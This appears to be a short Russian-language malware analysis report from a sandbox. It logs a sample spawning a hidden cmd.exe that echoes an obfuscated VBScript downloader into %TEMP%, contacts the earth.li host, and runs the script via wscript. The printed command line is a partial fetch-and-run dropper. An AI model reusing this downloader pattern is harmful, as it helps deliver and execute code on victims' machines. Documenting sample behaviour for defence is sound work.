Техническая информация
- '<SYSTEM32>\cmd.exe' /c cd %TEMP% & @ECHO B7m= "https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe">>C1c.VBS &@ECHO W1k = M5w("]N\]U7NaN")>>C1c.VBS &@ECHO Set A9g = CreateObject(M5w("V\aVU;7aVUQ]]Y"))>>C1c.V...
- %TEMP%\c1c.vbs
- %TEMP%\c1c.vbs
- 'th#.#arth.li':443
- DNS ASK th#.#arth.li
- '<SYSTEM32>\wscript.exe' "%TEMP%\C1c.VBS"
- '<SYSTEM32>\cmd.exe' /c cd %TEMP% & @ECHO B7m= "https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe">>C1c.VBS &@ECHO W1k = M5w("]N\]U7NaN")>>C1c.VBS &@ECHO Set A9g = CreateObject(M5w("V\aVU;7aVUQ]]Y"))>>C1c.V...' (со скрытым окном)
- '<SYSTEM32>\timeout.exe' 13